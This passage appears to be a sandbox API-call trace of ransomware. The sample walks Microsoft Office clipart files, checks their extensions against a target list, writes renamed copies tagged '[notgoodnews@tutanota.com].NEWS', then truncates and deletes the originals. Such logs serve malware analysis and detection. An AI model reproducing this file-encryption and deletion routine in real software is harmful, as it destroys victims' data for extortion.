-1 [0080.282] lstrlenW (lpString=".7z") returned 3 [0080.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0080.282] lstrlenW (lpString=".dbf") returned 4 [0080.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0080.282] lstrlenW (lpString=".1cd") returned 4 [0080.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0080.282] lstrlenW (lpString=".jpg") returned 4 [0080.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.282] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.282] lstrlenW (lpString="BL00296_.WMF") returned 12 [0080.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0080.282] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=812) returned 1 [0080.282] CloseHandle (hObject=0x35c) returned 1 [0080.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x220 [0080.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0080.283] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.283] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0080.283] GetLastError () returned 0x0 [0080.283] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x32c, lpOverlapped=0x0) returned 1 [0080.284] WriteFile (in: hFile=0x394, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x330, lpOverlapped=0x0) returned 1 [0080.285] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.286] WriteFile (in: hFile=0x394, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.286] SetEndOfFile (hFile=0x394) returned 1 [0080.286] CloseHandle (hObject=0x394) returned 1 [0080.287] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.287] SetEndOfFile (hFile=0x35c) returned 1 [0080.288] CloseHandle (hObject=0x35c) returned 1 [0080.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0080.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0080.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0080.288] lstrlenW (lpString=".doc") returned 4 [0080.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.288] lstrlenW (lpString=".docx") returned 5 [0080.288] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.289] lstrlenW (lpString=".pdf") returned 4 [0080.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.289] lstrlenW (lpString=".xls") returned 4 [0080.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.289] lstrlenW (lpString=".xlsx") returned 5 [0080.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.289] lstrlenW (lpString=".ppt") returned 4 [0080.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0080.289] lstrlenW (lpString=".zip") returned 4 [0080.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.289] lstrlenW (lpString=".rar") returned 4 [0080.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.289] lstrlenW (lpString=".bz2") returned 4 [0080.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.289] lstrlenW (lpString=".7z") returned 3 [0080.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0080.289] lstrlenW (lpString=".dbf") returned 4 [0080.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0080.289] lstrlenW (lpString=".1cd") returned 4 [0080.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0080.289] lstrlenW (lpString=".jpg") returned 4 [0080.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0080.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0080.289] lstrlenW (lpString=".doc") returned 4 [0080.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.289] lstrlenW (lpString=".docx") returned 5 [0080.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.289] lstrlenW (lpString=".pdf") returned 4 [0080.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.289] lstrlenW (lpString=".xls") returned 4 [0080.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.290] lstrlenW (lpString=".xlsx") returned 5 [0080.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.290] lstrlenW (lpString=".ppt") returned 4 [0080.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0080.290] lstrlenW (lpString=".zip") returned 4 [0080.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.290] lstrlenW (lpString=".rar") returned 4 [0080.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.290] lstrlenW (lpString=".bz2") returned 4 [0080.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.290] lstrlenW (lpString=".7z") returned 3 [0080.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0080.290] lstrlenW (lpString=".dbf") returned 4 [0080.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0080.290] lstrlenW (lpString=".1cd") returned 4 [0080.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0080.290] lstrlenW (lpString=".jpg") returned 4 [0080.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.290] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.290] lstrlenW (lpString="BL00390_.WMF") returned 12 [0080.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0080.291] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=13102) returned 1 [0080.291] CloseHandle (hObject=0x35c) returned 1 [0080.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x220 [0080.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0080.291] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.292] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0080.292] GetLastError () returned 0x0 [0080.292] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x332e, lpOverlapped=0x0) returned 1 [0080.293] WriteFile (in: hFile=0x394, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x3330, lpOverlapped=0x0) returned 1 [0080.294] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.295] WriteFile (in: hFile=0x394, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.295] SetEndOfFile (hFile=0x394) returned 1 [0080.295] CloseHandle (hObject=0x394) returned 1 [0080.296] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.296] SetEndOfFile (hFile=0x35c) returned 1 [0080.297] CloseHandle (hObject=0x35c) returned 1 [0080.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0080.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0080.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0080.298] lstrlenW (lpString=".doc") returned 4 [0080.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.298] lstrlenW (lpString=".docx") returned 5 [0080.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.298] lstrlenW (lpString=".pdf") returned 4 [0080.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.298] lstrlenW (lpString=".xls") returned 4 [0080.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.298] lstrlenW (lpString=".xlsx") returned 5 [0080.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.298] lstrlenW (lpString=".ppt") returned 4 [0080.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0080.298] lstrlenW (lpString=".zip") returned 4 [0080.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.298] lstrlenW (lpString=".rar") returned 4 [0080.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.298] lstrlenW (lpString=".bz2") returned 4 [0080.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.298] lstrlenW (lpString=".7z") returned 3 [0080.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0080.299] lstrlenW (lpString=".dbf") returned 4 [0080.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0080.299] lstrlenW (lpString=".1cd") returned 4 [0080.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0080.299] lstrlenW (lpString=".jpg") returned 4 [0080.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0080.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0080.299] lstrlenW (lpString=".doc") returned 4 [0080.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.299] lstrlenW (lpString=".docx") returned 5 [0080.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.299] lstrlenW (lpString=".pdf") returned 4 [0080.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.299] lstrlenW (lpString=".xls") returned 4 [0080.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.299] lstrlenW (lpString=".xlsx") returned 5 [0080.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.299] lstrlenW (lpString=".ppt") returned 4 [0080.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0080.299] lstrlenW (lpString=".zip") returned 4 [0080.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.299] lstrlenW (lpString=".rar") returned 4 [0080.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.299] lstrlenW (lpString=".bz2") returned 4 [0080.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.299] lstrlenW (lpString=".7z") returned 3 [0080.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0080.300] lstrlenW (lpString=".dbf") returned 4 [0080.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0080.300] lstrlenW (lpString=".1cd") returned 4 [0080.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0080.300] lstrlenW (lpString=".jpg") returned 4 [0080.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.300] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.300] lstrlenW (lpString="BL00392_.WMF") returned 12 [0080.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0080.301] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=27050) returned 1 [0080.301] CloseHandle (hObject=0x35c) returned 1 [0080.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x220 [0080.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0080.301] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.301] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0080.302] GetLastError () returned 0x0 [0080.302] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x69aa, lpOverlapped=0x0) returned 1 [0080.305] WriteFile (in: hFile=0x394, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x69b0, lpOverlapped=0x0) returned 1 [0080.306] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.306] WriteFile (in: hFile=0x394, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.306] SetEndOfFile (hFile=0x394) returned 1 [0080.307] CloseHandle (hObject=0x394) returned 1 [0080.308] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.308] SetEndOfFile (hFile=0x35c) returned 1 [0080.309] CloseHandle (hObject=0x35c) returned 1 [0080.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0080.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0080.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0080.310] lstrlenW (lpString=".doc") returned 4 [0080.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.310] lstrlenW (lpString=".docx") returned 5 [0080.310] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.310] lstrlenW (lpString=".pdf") returned 4 [0080.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.310] lstrlenW (lpString=".xls") returned 4 [0080.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.310] lstrlenW (lpString=".xlsx") returned 5 [0080.310] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.310] lstrlenW (lpString=".ppt") returned 4 [0080.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0080.310] lstrlenW (lpString=".zip") returned 4 [0080.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.310] lstrlenW (lpString=".rar") returned 4 [0080.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.310] lstrlenW (lpString=".bz2") returned 4 [0080.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.310] lstrlenW (lpString=".7z") returned 3 [0080.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0080.310] lstrlenW (lpString=".dbf") returned 4 [0080.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0080.310] lstrlenW (lpString=".1cd") returned 4 [0080.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0080.310] lstrlenW (lpString=".jpg") returned 4 [0080.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0080.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0080.311] lstrlenW (lpString=".doc") returned 4 [0080.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.311] lstrlenW (lpString=".docx") returned 5 [0080.311] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.311] lstrlenW (lpString=".pdf") returned 4 [0080.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.311] lstrlenW (lpString=".xls") returned 4 [0080.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.311] lstrlenW (lpString=".xlsx") returned 5 [0080.311] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.311] lstrlenW (lpString=".ppt") returned 4 [0080.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0080.311] lstrlenW (lpString=".zip") returned 4 [0080.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.311] lstrlenW (lpString=".rar") returned 4 [0080.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.311] lstrlenW (lpString=".bz2") returned 4 [0080.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.311] lstrlenW (lpString=".7z") returned 3 [0080.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0080.311] lstrlenW (lpString=".dbf") returned 4 [0080.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.311] lstrlenW (lpString="C:\\Program Files\\Microsoft 